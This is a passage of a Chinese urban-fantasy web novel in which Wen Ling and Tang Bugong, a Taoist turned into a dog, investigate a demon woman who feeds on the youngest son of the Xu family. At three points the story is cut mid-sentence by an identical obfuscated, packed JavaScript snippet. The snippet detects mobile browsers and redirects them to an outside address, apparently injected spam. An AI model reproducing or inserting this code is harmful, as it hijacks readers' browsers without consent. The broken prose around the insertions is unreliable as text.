“怎么还不来?不是昨天就已经叫人去赔礼道歉了吗?”徐老爷大手一挥,看样子是又要差人去催促。 徐太太赶忙现身把人给拦下了:“急不得!我们之前找了人家,又临时爽约。现在什么都试遍了,没了法子,才想起来回过头去找人家。我们是个什么窘境,他肯定早知道了。拿点乔也没什么的,毕竟是我们有求于人家。” “哼,什么毛头小子。”徐老爷不大爽快地把刚刚走进前的佣人又挥退了,“还摆起谱来了,自己不来,还让什么助手先来。” 徐家早就出事了,只不过当时徐老爷就是看着这个被人推荐来的年轻人不大信任,所以才去找了别的人。 可事到如今,事情绕来绕去,又绕回了唐不功身上。 一个堪堪二十岁出头的年轻人,能比得过那些寺里,观里的高僧,法师? 徐老爷是不大相信的。更何况那人明面上可是个不知道谁家的小少爷,被放来海市创业的。要不是私底下有朋友介绍,谁知道人背地里还在当道士。 “啊——啊——你杀了我吧!杀了我,你就能如愿了!我也就不用痛苦了!” 徐家阔大的房屋,再次从顶层传来凄厉的喊声,回荡在这间四层楼高的老宅里。 徐老爷和夫人的面色在听到这话的时候,都阴沉了几分。只是徐老爷的脸上多了几分不耐烦的厌恶,徐太太的脸上则是掺杂着几分痛心与难过。 家里的仆人们此刻都不敢出现在主人家面前,努力掩藏着自己的痕迹。生怕触了霉头,丢了工作。 实在不得不出现的,也都比平时更压低了姿态,生怕露出一点打探的眼神。 就像现在,管家迈着又急又碎的小步子,来到徐老爷身后,说:“老爷,人来了。” 徐老爷深吸一口气,转过身,管家赶紧让到一边去。 “你小子给我安静一点,这么要死要活的是要干什么?我欠你的了,真是的。” 徐老爷冲楼上大声喊叫着,可到底比不过小儿子徐有年那不要命的喊法。 “我不行了——你杀了我吧!啊啊啊啊啊!”徐有年拉长了嗓子在那哀嚎。 徐老爷黑着比锅底还黑的一张脸走去了大门。 门口站着的是一个长相素雅的年轻人,穿着一身很随意的白T恤,配灰色休闲裤,手里还牵着一条狗。 看着完全不像是有事找上门来的,倒是更像个遛狗路过的。 特别是现在年轻人的目光还明晃晃地看向楼上那片哀嚎声的发源地,显得他更像是个遛狗路过来凑热闹的。 被人以下颚线示人的徐老爷很不爽,面色更加不善,但也只能耐着性子和人讲话。 他轻咳一声,吸引回人目光:“您就是唐先生的助手吧。” 闻灵收回看向楼上饶有兴致的目光,应了一声:“是,您好,我是他的助手闻灵。这是我的搭档,大黄。” 闻灵说着,热情地甩了甩手中的绳子。 可绳子动了,狗没动,连个眼神都不屑于给。 一人一狗甚至站得很远,如果不是绳子短了,狗大概还可以离人更远些。 闻灵只好哈哈干笑两声,解释道:“今天闹别扭了,闹到现在,所以才来晚了,真不好意思。不过我们平时还是很默契的搭档的。” 今天早上闻灵起了个大早,特地跑去商场里采购了几件狗衣,还有几条款式各异的狗绳。 哭爹喊娘了半天,求奶奶告姥姥的,才勉强说服唐不功穿上了最朴素的那一件衣服,拴上了他觉得最舒服的那条狗绳。 闻灵心满意足。 徐老爷不是很在乎人狗和谐这件事情,他摆摆手,赶紧在小儿子一连串的哀嚎声中把人迎了进来。 “我家是个什么情况,您应该也看到了。请您务必把事情都转告给唐先生,请他下次赶紧过来。钱不是问题。” 徐老爷话音未落,楼上便传来劈里啪啦一阵碎东西的响声。 徐老爷脸色大变,赶忙边冲上楼去,边大喊:“小兔崽子!你在给我摔什么呢?那可是我新买的花瓶!” 徐老爷冲上楼梯,徐太太紧随其后地也冲了上去,嘴里带着点哭腔地喊着:“哎哟,我的宝贝你怎么了?” 夫妇两风风火火,闻灵也不甘示弱,一手抄起腿短的唐不功,夹在肩膀下就是往楼上冲。 一路冲到顶楼的房间里,唐不功便赶紧跳了下去,这边闻闻,那边闻闻,当一只尽职尽责的狗。 闻灵松开绳索,放唐不功自己去四处勘察。 他则走近了屋内此刻情态各异的四个人身边。 徐老爷眼神呆滞地蹲在地上,看着地上四分五裂的瓷片。 闻灵凑过去瞄了一眼,大致从碎片中拼凑出了花瓶生前精美的样貌,不由地为徐老爷默哀一秒钟。 一秒转瞬即逝,接下来映入眼帘的便是已经安静下来的徐家三少爷——徐有年。 徐有年被母亲搂在怀里,一下又一下地安抚着。徐太太嘴里念叨着细碎的话,轻轻哄着孩子,就像她怀里的不是一个已经成年了的人,而是一个尚在襁褓里的孩子。 这倒也不是徐夫人太溺爱孩子,而是徐有年现在的样子实在是太惹父母心疼。 就连徐老爷那么贵的花瓶,被孩子一秒钟砸了个稀巴烂,徐老爷也只是咬碎了后槽牙,忍了。 徐老爷掏出柔软干净的帕子来,递给夫人,让夫人给孩子擦泪。 徐太太轻轻擦去小儿子脸上的泪,可擦着擦着,她的眼泪也不自觉的流了下来。 徐老爷看着妻子的泪,慌了片刻的神,手无措地搭到了妻子肩上:“这……这又是这么了呢?” 不问还好,一问,妻子的泪水便如滔滔江水般向自己涌来。 “小年,瘦了好多啊。”徐太太泣不成声。 闻灵看着眼前这个男青年过分瘦削的身形,还有许久未出门才能养出的苍白肤色,想要开口问些什么。 可话还未说出口,徐太太便又自责地说了起来:“都怪我,要不是我,小年也不会认识这个女人,也不会……也不会……这都是孽缘啊!” 徐太太痛哭了起来,站起来,靠在了墙上,无助地滑落到了地上。 徐老爷赶紧过去把夫人扶到了椅子上去。 徐有年失神的眼神在母亲痛哭的一瞬间,回了片刻的神,但很快便又转回了窗边。 空洞的眼神,不知道里面乘着什么。 徐老爷恶狠狠地瞪了窗边的女人一眼。 唐不功此时也已经把房间勘察了个遍,只余窗前的这一块地方还未涉足。 徐家这间房的窗台十分阔大,在窗台的围栏边缘甚至做了花坛。 此刻一丛又一丛鲜红娇艳的山茶花拢住了窗台,似有人影将手放到花丛中,将一朵朵上等丝绸质地也无法比拟的柔软花朵细细抚摸而过。 她的手只为最艳美的那朵花停留。 她将花拢在手心里,无比轻柔。 鲜红的花落在她洁白的手心里,似乎要滴下血来,染红这纯白的一切。 手指轻轻抚过浅黄色的花心,细腻厚重的花粉沾了满手。 她却不在意,只是把花都揉碎了,花粉混着花瓣握在了她的手心里,一片也逃不出去。 女人终于看向房内。 房内的闻灵和唐不功此刻也都隔着窗台垂落的纱帘,打量着她。 这是一个极美的女人,美到妖异。 一阵风吹过,勾着精细蕾丝边的纱帘扬起。 女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405210|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的面貌终于完全显现在月色下。 几乎是在看到女人的一瞬间,徐有年的脸色便红润了起来,一种无法描述的生机在他的脸上迸发,就连已经干涸了的泪河,也重新流淌了起来。 他缓慢地伸出手去,像是想要触碰什么可望而不可即之物,一如捞月。 可月亮却如此轻易地向他而来。 女人没有让他过多地哀求,很快就过来牵牵他的手,并不顾房间里的四双眼睛,在徐有年脸上落下一吻。 “我当然也爱你,我怎么会舍得你死呢?”这是对刚刚徐有年嘶喊的回答。 徐有年愣了片刻的神,似乎有些感动,但很快又变成不敢相信。 “你就是想我死!你爱我,但是你想我死!你真的……你真的爱我吗?”徐有年崩溃地靠在女人怀里。 女人轻轻抚摸过他的发尾,将那长长的发尾卷在手指上:“我当然爱啊,我不爱你的话,怎么会想要你死呢?” 闻灵听着这天人对话,目光忍不住看向唐不功,想要看看他的反应。 可没想到,唐不功竟然也抬头在看他。 现在这个氛围很明显不适合唐不功张嘴狗叫说话,但闻灵还是看出了他眼底的意思。 “这是神经病吗?” 嫌弃至极。 闻灵看着一双狗眼流露出这么刻薄的神情,差点笑出声来。 但好在忍住了,因为徐有年的父母很明显更受冲击。 徐太太彷徨地不知道该把手往哪放,不知道是该掩面而泣,还是应该一巴掌给两个人扇过去。 “你……你怎么可以……”徐太太一口气差点背过去,徐老爷赶忙喊人来把妻子扶去房内休息。 “做点吃的送到太太房里去,给这边也送点来,”徐老爷嘱咐完,就指着儿子的鼻子骂道,“人家要你死,你就要死要活啦?你……你……” 徐老爷气极,无话可说,怕自己也气得昏过去。那这个家可真是要完蛋了。 他看着佣人把餐食送进房内,又看着女人喂自己儿子吃上第一口饭之后,才领着闻灵和唐不功退出房内。 “想必您看完我家这场闹剧,肚子肯定也饿了吧。”徐老爷说着便要亲自领着一人一狗去饭厅。 一路上,徐老爷是止不住的愁眉苦脸,止不住的叹气。 “您也都看着了,我也不多说什么。来了那么多人,说了那么多遍,没一个顶用的。我只求您能想想办法,不然我是真的不知道该怎么办了。我家……” 一个转角旁便是一扇擦得锃亮的窗户,视线穿过窗户,便可以将徐家的后花园尽收眼底。 徐家的后花园布置别致,有花有草有树,还有湖,月色茫茫下,实在是太适合年轻人约会。 又是一大丛开得艳红的山茶花旁边,两个年轻人正在接吻。 一男和一男。 身影被树影半掩着,但只要是熟悉的人,肯定还是能认出来。 徐老爷半句话哽在嘴里,一口气哽在心口。 闻灵做好了接住徐老爷的准备,可徐老爷坚强地撑住了。 他不好大声喧哗,那等于向天下广而告之。 “我的儿子是gay!我的儿子是gay!” 徐老爷咬牙切齿,把话嚼碎了往肚子里咽进去,眼上怒视底下的两个人。 其中一人察觉到了楼上的目光,赶忙推开身边人。 可身边人不依不饶,还要追过去亲,被扇了一巴掌,脚上步子才停了下来。 年轻男人回身,抬头与窗台边的徐老爷对视了一眼,而后便像没有读懂人脸色一般,头也不回地走了,匆匆去追跑掉的人。 徐老爷的脸色发黑,比夜还黑,因为他的脸上没有一颗星星。 闻灵和唐不功沉默地看着这一切,两人在此刻难得共脑。 “你家可真乱啊。” 8. 徐家三子 徐老爷寒着一张脸,步履匆匆地往楼下赶,走了一半才想起来后头还跟着客人,连忙回身,干笑两声:“让您见笑了,我这……忽然有点急事,就不陪您去吃饭了。” 徐老爷说着顺手抓过旁边一个路过的佣人,来给闻灵他们带路。 闻灵都来不及再客气几句,徐老爷便就火烧屁股一样赶紧跑掉了,看方向似乎是要去树林里捉奸。 闻灵在心里默默祝福那对有情人好运,不要辜负了今晚这么美的月色。 穿过连廊,便就到了徐家饭厅。 寻常人的饭点早已过去许久,垂落着硕大水晶吊灯的饭厅只有零星几个人在打扫着,为闻灵摆好餐具和食物。 徐家的佣人甚至还贴心为唐不功准备了一碗狗饭,用的是纯正的狗盆装的。 满满的一碗,唐不功却不为所动。 闻灵瞥了他一眼,便招手麻烦旁边随侍的佣人去拿个饭碗来。 “拿个没人要用的就行,我等会买了带回去。麻烦吃完洗洗,别担心,我这狗吃东西可干净了。”但吃得再干净,想必也是没人想要用狗吃过的饭碗了。 唐不功狗叫了一声,闻灵从容地从口袋里掏出卡来递给佣人。 闪亮亮的银行卡,唐不功的。 “这……”佣人正犹豫着要不要接过客人的银行卡。 一个爽朗的声音便从旁边响起:“买什么买,一个碗而已,你喜欢的话,拿去就是了。” 一个粉色衬衫外套着黑色西装,系着花色领带的男人大步走进了饭厅,又随手拉开了一张椅子坐下。 他的看起来价值不菲的领带已经被不知道是谁,还是自己扯得乱七八糟,松松垮垮地挂在脖子上。 可男人好像还嫌弃这副样子不够浪荡似的,又捋了捋自己的头发,将原本一丝不苟的头发理乱了,垂下几缕来,晃在眼前。 他又解开衬衫最上面的几颗扣子,动作了几下,宝石吊坠便在在胸肌的缝隙里若隐若现,一闪一闪,熠熠生辉。 男人长得远比其它几个兄弟像自己的母亲,一双杏眼此刻正一眨不眨地看着闻灵,饶有兴味的样子。 闻灵有些不自在,这倒不是因为男人那露骨的,瞎子都知道他卖弄的是什么风情的眼神,而是因为此时此刻唐不功也在看着他。 唐不功看着他,眼神也很直白。 你个妖孽! 但凡能多狗叫几声的话,唐不功肯定就全叫出来了,可惜他不能。 于是他只好在一人一妖中间狗叫了一声,打断这暧昧起来的氛围,可没想到却被男人抓住了话题。 “这是你养的小狗吗?真可爱。”男人伸手便要去摸,唐不功赶紧一个闪身躲进了闻灵椅子后去。 闻灵解释:“我家狗有点怕生呢,你别介意,等下次熟了,我再给你摸。” 唐不功愤怒地抗议:“你还替我做上决定了?谁来摸我还你决定上了?我谁也不给摸!” 唐不功狗嘴一下子停不了了。 男人笑道:“你家狗好凶啊,我真是看错眼了。看来我是没机会摸上了。对了,忘了自我介绍了,在下徐有明。叫我小徐,小有,小明都行,随你喜欢。” 徐有明给闻灵递来一张雕花的印金名片。 “徐少爷,您真是说笑了。”闻灵把名片随手塞进了唐不功的衣服口袋里。 徐有明:“你来我家是为了我弟弟的事情吧。” 闻灵:“是啊。” 徐有明忽然凑得更近一点,屁股都快要离开凳子,只在凳子上坐住了一个角。 他压低了声音,闻灵便也配合地凑过头去,耐心聆听。 只听徐家的二少爷这样评价自己的弟弟:“我弟弟那个脑残也是可怜,初出茅庐,就碰上了狐狸精。” 闻灵听到这句话不笑也不语,只是静静看着徐有明。 徐有明看他没有反应,只好逼不得已一般,吐露出家里的秘密。 “我这可不是比喻句,那女人可不是人。”他的语气的尾调有些难以自抑的兴奋。 是吗?闻灵想,可你也不是人呐。 徐有明孔雀开屏一般,想要再在闻灵面前抖露出些什么来。 就在这时,徐老爷忽然来了饭厅,身后跟着的是半张脸红肿充血的徐家大少爷,徐有成。 看得出来徐老爷是下了死劲打的。 闻灵端详着大少爷的脸,觉得只要不处理好,不出两个小时,大少爷的脸就要肿成骆驼脸颊了。 徐老爷怒气冲冲的走进来,看见二儿子这花枝招展的样子,更是气不打一处来。 抬手就是要扇过去,好在看见客人在一旁,及时停住了。 可手上动作停住了,徐老爷一口怒气却还是没喘过来,原地指着二儿子的脸。 “你!你!你!还有你!你们……”徐老爷的手指忙不过来地在两个儿子脸上打转,终究是憋着一口气晕了过去。 身体晃晃悠悠地柔软着地,倒在了餐厅的地毯上。 “老爷!” “爸爸!” 两个儿子良心发现一般率先冲到父亲面前,赶忙扶起父亲。一堆佣人紧随其后,手忙脚乱地,叫医生的叫医生,倒水的倒水,把徐老爷围了个水泄不通。 闻灵只好站出来大喊一声:“大家散一散啊,别聚在那一块,别等会徐老爷氧气不够用了。” “都围在这里干什么?”徐太太听到了楼下的动静,赶忙下楼,身上还穿着月白色的丝绸睡衣。 人群散开,露出徐老爷一角身姿,徐太太赶忙又要晕过去,被旁边的佣人死命掐着人中才没彻底倒下。 “快……快去叫医生……”徐太太气若游丝地使唤着两个儿子。 医生很快来到徐宅,做出了诊断。 徐老爷身体倍棒,啥事没有,就是被气晕的。 可当着徐老爷两个孩子的面,她当然不好这么说,只能委婉地说:“徐老爷年纪大了,情绪波动一下,刺激有点大。当然没什么大事,睡一觉就好了。” 徐老爷其实已经微微转醒,只是不愿睁开眼。 他眯着一条缝看着自己的两个孩子。 大儿子陷入沉思,二儿子陷入沉思。 他很满意,对两个孩子的表情很欣慰,甚至有点感动。 泪光在他的眼缝里不大明显地闪动。 但闻灵觉得徐老爷应该感动错了地方。 至少他的二儿子,怎么看都像是单纯在发呆。 至于大儿子…… 徐家大少爷,徐有成此刻想的是:我的爸爸竟然恐同到如此地步。 实在是……不出所料…… 可是……可是爱情是什么! 爱情是宽广无边的,不应该为了父亲狭隘的世界观而让路,他要追求他的爱情。 追求他的…… 徐有成想到了那个人。 想到了自己今天左边一巴掌,右边一巴掌,左边打得都还没有右边的重! 他深呼一口气,牵动了右脸的伤痛,也只能咬牙忍下。 可恶! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405211|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个人为了和他撇清关系,就要做到如此地步吗? 闻灵看着大少爷变幻莫测,一会苍白,一会潮红的脸色,不禁感叹大少爷心路历程之丰富。 “大家都先去休息吧,我在这里陪着。”徐太太有些疲惫的声音从房门口传来,“闻先生,也请您今晚先暂住一下了。” 闻灵:“打扰了。” “哪里的事,”徐太太笑笑,“您别觉得我们家的事情难办就行。” 难办嘛,很难说。但抛开良心来说,你家的构成实在是有点太丰富了。 佣人正要领着闻灵和唐不功去房间,楼梯上便下来了人。 “我饿了。” 听到这声音,床上的徐老爷咳得一个鲤鱼打挺,吓了房内众人一跳。徐太太脸色大变,怒气冲冲地一回头,却看到自己瘦削苍白的小儿子正躲在那个“喊饿”的女人身后。 她愣了片刻,终究是咬牙忍住了,咬牙切齿地应了一声:“这就去给你们准备吃的。” 女人牵着徐有年从闻灵和唐不功身边走过,女人谁也没看,只看了自己身边的徐有年一眼。 但闻灵和唐不功都察觉到了女人那近乎于无的打量目光。 而除了他们之外,大概就只有她身边的徐有年察觉到了女人分出的那点,少得可怜的目光,手上更加紧紧地攥住了女人的胳膊,女人连忙回握以示安抚。 “看到了吧。”徐有明忽然出现在闻灵身后,凑近了闻灵耳边,闻灵连忙往外躲了一躲,看着徐有明笑而不语。 徐有明冲闻灵眨眨眼睛:“晚安,好梦,在这个家睡不着的话,可以来找我哦。” “……”闻灵。 “……”躺在床上的徐老爷。 “呼,”闻灵倒在徐家客房的大床上长舒一口气,“终于是下班了,你可以放心讲话了。虽然我感觉这个屋子太老旧了,隔音好像不太好。” 唐不功:“我发现……” “嗯?”闻灵仰面躺在床上看着天花板,脚伸在外面,轻轻地动着,“你发现什么了?” 唐不功:“你是不是喜欢男生?” “啊?”闻灵支起上半生,“何出此言呐?此言差矣!” “你怎么会这么觉得?” 唐不功沉默半响,还是实话实说:“因为你看起来像荤素不忌的。” “……”闻灵捂住心口,“你这样想我,我好伤心呐。” “如果是误会了,那当我没说。”唐不功赶忙撇清关系,“我就是随口一问,没别的意思。” “哦,没事,”闻灵又躺了回去,“反正我谁也不喜欢。” 唐不功问:“谁也不喜欢?” “倒也不是那个意思的不喜欢,我其实喜欢的人挺多的,挺多人我都愿意喜欢的。只是不是那种喜欢罢了。” 唐不功又问:“那你的意思是你只想和所有人做朋友?” “差不多就是这个意思吧,怎么了?你不想和我做朋友了?”闻灵笑嘻嘻地问。 唐不功立马露出很嫌弃的眼神:“想什么了呢你?!” 闻灵又笑了起来,就像他这段时间的笑点就是长在唐不功身上一样。 “不说了不说了,要睡觉了。” 闻灵把灯关得只剩下夜灯。 唐不功准备在房内找处舒服地方,躺下凑合一晚,却被闻灵一把抱起塞进被窝里。 “小狗狗,我们睡觉觉喽。” “死闻灵!你快点把我放出去!” 狗鸣声响彻徐家大宅。 9. 偌大一个家 竟然没有几个正常人 半夜,唐不功已经成功适应了闻灵蹭在他头上的下巴,睡熟了。 可还没等得及他做上第二个梦,人就被吵醒了。 窗外传来奇怪的声响,是人的声音,听起来像是从气管里挤出来的声调,模糊不清。 闻灵早已经醒了,此刻看他也醒了,赶忙问了一句:“你也醒啦?快听听这是什么声音。” 唐不功压低了气息,和闻灵一起贴在窗边。 闻灵悄悄把窗帘掀开一条缝来。 窗外是徐家的后院,从这里望过去,视线能一直延伸到徐家后院的那片林中去,直至没入林间的黑暗。 此刻阔大的后院空无一人,只有微风袭来时,刚刚没过脚踝的草地会随风掀起波浪,院子里的枝桠轻轻地颤动。 沙沙的声响隔着窗户不太真切的传进来,除此之外似乎便再也没有别的声音了。 只有楼上偶尔会传来一两声似真似假的呻吟,分不清是在痛苦,还是在愉悦,只是偶尔会夹杂着那么一两句。 “你……真的要这么对我吗?” “你为什么要这么对我?” 徐有年的声音带着哭腔,含糊不清地从腹腔里挤出来,混杂着许多眼泪与气音。 “我……我爱你,所以你才可以这么对我,但是……但是……” “我求求你……求求……嗯……不要这么对我……” 徐有年闷哼一声,语调陡然间拔高,痛吟出声。 似乎是到了什么重要时刻,原本一直像刚出生的小猫一样细细叫着的徐有年忽然支离破碎,胡乱叫了起来。 整个徐家都好像被他的声音所渗透,没有一处可以逃开这个声音。 他惨叫着,声音越来越大,越来越大,直到顶点,便陡然间下坠,沉到了最底下去。 徐有年没了声音,窗外便又好像只剩下了风声。 唐不功鼓足气,蹬腿便要往外冲。 闻灵一把按住了他,凑到他的耳边,低声耳语:“再等等。” 闻灵和唐不功屏息凝视着窗外。 时间不知过去了多久,窗外连风都销声匿迹。所有的一切,都好像静止了,直到徐有年的声音再次在楼上响起。 徐有年的声音重新变得平静,平静得就像是刚刚什么都没有发生过。 他没有嘶吼,没有痛哭,更没有尖叫,他只是声音听着有些虚弱罢了。 “……我恨你,如果你再这么对我的话,我会恨你的。” 没有任何东西回答他,他只能一直絮絮叨叨地说些什么,但更多时候那又好像只是他的嘴唇在轻微地颤抖着。 一种黏腻的水声在楼上不断地响动,似乎有一滩滑溜溜的东西,被摊开来,四处流动着。 “咕叽……咕叽……” 大口撕咬,大口吞咽。 一口又一口的声音,无比清晰地传入唐不功的耳中。 他们的窗户边出现一缕又一缕的黑色水流,这是黑夜给它染上的颜色,如果放在白天,这大概会是一抹又一抹的艳红色。 水流从楼上一股一股地涌下来,又一缕一缕地流经他们的窗台,淅淅沥沥,全都落到了楼下的花丛中去,噼里啪啦地浇灌着。 血腥味的刺激下,唐不功再也无法忍受住袖手旁观,他扒拉着窗台,想要一跃而起,却又被闻灵一把拉住。 “干嘛?”唐不功真的要怒了“人都快死了,你在这里拉什么拉?” “没事,不会死的,至少现在不会,”闻灵很淡定,“而且现在外面有东西,我们再等等看。” 闻灵用眼神示意唐不功去看墙角的阴暗角落,唐不功深呼一口气,沉住气,顺着闻灵的目光看去。 一个男人缓步离开了徐家大宅,走在后院草地间用鹅卵石铺成的小径上,他闲庭漫步,手里还端着红酒杯,液体在杯中摇摇晃晃。 男人的脚步晃晃悠悠的,似是喝醉了,他渐渐走出了鹅卵石铺成的小道,走到了草地上去,走进了林间。 在走进树林前,他转过身子来将杯中的酒一饮而尽,他的眼神在眼前的建筑上停留了片刻,而后就像什么也没看到一样转回身子,然后头也不会地走进了林间,而酒杯则被他随手丢在了一边。 “……这个徐有明是眼瞎吗?”唐不功肉眼可见的越来越暴躁,“我快要吐了,我受不了了,我要上去看看。” 唐不功挣脱了闻灵的怀抱,火急火燎地就要往上冲,结果一头撞在了玻璃上。 “你慢点啊,我都说了等一下了。”闻灵打开窗户,唐不功便连忙挤着窗户缝跑了出去。 他攀住墙边的花架,又一跃而起,蹦到了楼上的窗台边去。 楼上的气味激得他止不住地吼叫。可楼上什么血腥的场面也没有,有的只是一对赤裸体肤的男女,正坐在椅子上亲密依偎着。 徐有年还是那一副呆呆的,离了魂的样子,只不过此刻的他满脸潮红,女人趴在他的身上,乌黑漫长的头发盖住了两人的身体,厚重地压在它们身上。 女人抬起头来,半张脸从徐有年的肩膀旁露出来,眉眼弯弯,她朝着唐不功伸出手来要抚摸,唐不功连忙躲开。 “小狗狗,你的主人呢?” 唐不功的身体发出低吼,女人轻轻笑了。 “别怕我呀,我又不会吃了你,我只吃我喜欢的东西。过来,让我摸摸。”女人招招手。 “是你的狗吗?你就要摸。”闻灵站到了窗台边。 看到有妖来管管这里了,唐不功连忙往楼下冲了出去。这里的味道实在太难闻了,更别说现在自己是个狗鼻子,感觉五脏六腑都在被刺激着,一股真正意义上的热血正在他体内乱窜。 “就交给你了!” 小狗慌不择路,闻灵看不下去,把狗一捞,又蹲下身子来,往下一丢,一个完美的抛物线落到了楼下床上。 “汪!”唐不功惊疑不定地在床上翻滚了一下身子。 闻灵翻过围栏,落进了窗台里面。 女人的目光追随着他的身影,看到他终于走近了,走得足够近了,才缓缓直起身子。 从自己的怀里,献宝一般地把东西掏出来。 东西淌着热血,饱满的,沉甸甸的挤在女人的手心里。 女人亲了亲它,又亲了亲此刻大敞胸怀的徐有年,而后才一口咬下手中的胰脏。 女人吃得很满足,似乎太过满意,以至于她想要奖赏厨师。 她抚摸上徐有年的胸膛,徐有年的胸膛缓缓合上,完好如初。 徐有年那接近死气的脸上,终于恢复了几分人气。 呆呆的脸上也终于有了几分神采,他的眼神茫然地转了几个圈之后,锁定了眼前的鲜红色物体。 他的表情在一瞬间变得扭曲,他痛苦地大吼着:“你怎么又在吃我?” 最后一口被女人消灭干净,女人打了一个饱嗝,又把手上的残渣剩饭打扫干净,而后才在男人唇上落下一吻。 “因为这就是爱啊。” 徐有年愣怔了几秒,而后平静了下去,似是接受了这个事实。 “你都……这样对我了,为什么我还爱你,这就是爱吗?就算是这样了,我见到你了还是会心动吗?” “心动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405212|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?那你可要想清楚了,万一她顺手把你的心给吃了,那你可要好好想想现在是什么在动了。”闻灵在一旁开口提醒。 女人无辜反驳:“我怎么会要他的心呢?我是多么珍惜它啊。” “是吗?”闻灵当真好奇,都吃人的妖怪了,哪又有什么妖是只舍得吃一颗胰脏的? “当然。”女人很温柔把男人搂在自己怀里,轻轻地抚摸着他的头颅。 她还想再说些什么,房门外却在此刻传来了敲门声。 “宝贝,你怎么了?妈妈听到你刚才在说话了。” 血腥味已经散了,屋子内各种人活动的细小动静又重新出现,闻灵在女人的目送下,跃回自己房内。 “怎么样?今晚能不能干掉她?”闻灵的脚一触地,唐不功便绕到他身边来问。 闻灵左右闻了闻身上的味道,说:“悬,起码得再等两天,这家人事情太多了。” “那那个什么徐有年怎么办?”唐不功问。 “别担心死不了,至少现在不会那么快死。”闻灵随手脱下衣服往水池里一丢,挤了点洗衣液就开始搓。 唐不功还是担心:“那他现在这样我们就不管吗?” “他?”闻灵回想了一下,“他现在不好说,很难说他到底是在痛苦,还是在享受。” “这种事情能享受吗?”唐不功惊讶。 闻灵露出意味深长的笑容:“有钱人就是变态多。” “……”感觉到自己被扫射的唐不功。 “不行了,你让一让,我又想吐了。”唐不功从闻灵腿边挤过去,挤到了马桶边,对着马桶干呕起来。 “吓到了?那师父你不适合干这行啊。” 唐不功干呕的间隙反驳道:“我哪里是被……呕……吓的,我是被熏的……呕……你难道没闻到吗?” “闻到了,但也没你反应这么大。你反应这么大,说真的,可能不太适合干这种……这么亲临现场的活,毕竟什么事都会有的,什么味道肯定也都有。” “我……”唐不功喘了口气,闻灵贴心地给他端来了一碗水,“……谢谢,我之前从来没有这样过。” “从来没有这样想吐过?那你之前去过哪里?你不是说我那次是你第一次下山吗?”闻灵问。 “我确实是第一次下山,但我师父说我学得很好,可以下山了。他说他教过这么多弟子,我是他最满意的。”这话说出口的时候,唐不功明显有些不好意思,“所以,我觉得我应该是没问题的。” 唐不功越说越小声,不知道是不好意思的,还是心里虚的。 闻灵问:“你师门现在几个人?” “听师父说之前有过几位,现在是只有……我一个……” “只有你一个?那你要不还是回去再问问你师父,不然你这样,之后万一我们再遇到什么了,我在那打架,你在那吐的话,我可没能力去管你。”闻灵说得诚恳,唐不功一下子哽住了。 他过了半响才说道:“这个你不用担心,我就算用狗嘴咬,也会去帮你的。” 闻灵听到他这话又哈哈大笑了起来:“那倒是不必,你好好跟在我身后就行了,我肯定会保护你的,就算是为了我家大黄,小狗狗,哈哈。” 闻灵挂着泡沫的手摸到了唐不功头上来,唐不功躲闪不及,被整了一脑袋泡沫。 “闻灵!你给我洗干净!” “好啊,来洗澡吧,小唐。” “闻先生,太太有事,劳烦您过去一下。” 天将露白,折腾了大半夜,闻灵哀叹一声:“什么时候才能睡个好觉啊。” 10. 紧紧的家人 闻灵又带着唐不功回到了饭厅,餐桌上摆满了吃食。 徐有年正在狼吞虎咽,他这一顿吃得比他这一个月吃的加起来还多,可还是不够。 徐太太在旁边满面忧愁地看着孩子,但从她的样子看来,昨夜孩子的惨叫并未传到她的耳中。 “好饿……妈妈……我好饿……” “不要急,慢慢吃啊。”徐太太让家里人把所有的吃的全都搜罗了出来,喂给孩子。家里的存粮都快见底了,才堪堪喂饱孩子。 多么惊人的食量啊,闻灵在心里感叹,他看着徐家的仆人端着一叠又一叠半人高的餐盘回了厨房。 但徐家人好像都已经对此见怪不怪,只有徐有年在吃完饭之后,打了个饱嗝,回过神来,有些惊恐地看着餐桌:“我竟然吃了这么多。” “哪里多了,你那么久没吃饭,多吃点是应该的。”徐太太端来一杯水放在孩子手边,“全喝了,顺顺气。” 竟然还让他喝吗?闻灵有些惊讶,这个家是没有人知道正常人的食量应该是多少了吗? “弟弟,你再吃下去的话,就不是人了,要变成猪了。”徐有明端着一杯酒,翩翩然来到了现场,“变成小猪了,那就要被人吃掉喽。” 徐有年已经踌躇着把一杯水下了肚,此刻听到这话,差点把刚落到胃里的那点东西全呕出来。 “咳……咳咳……” 徐太太上上下下摸着小儿子的背,替小儿子顺气:“有明,你怎么和弟弟说话的,你不知道你弟弟现在不能开玩笑的吗?还有你,大晚上的怎么又在喝酒,还睡不睡了?” 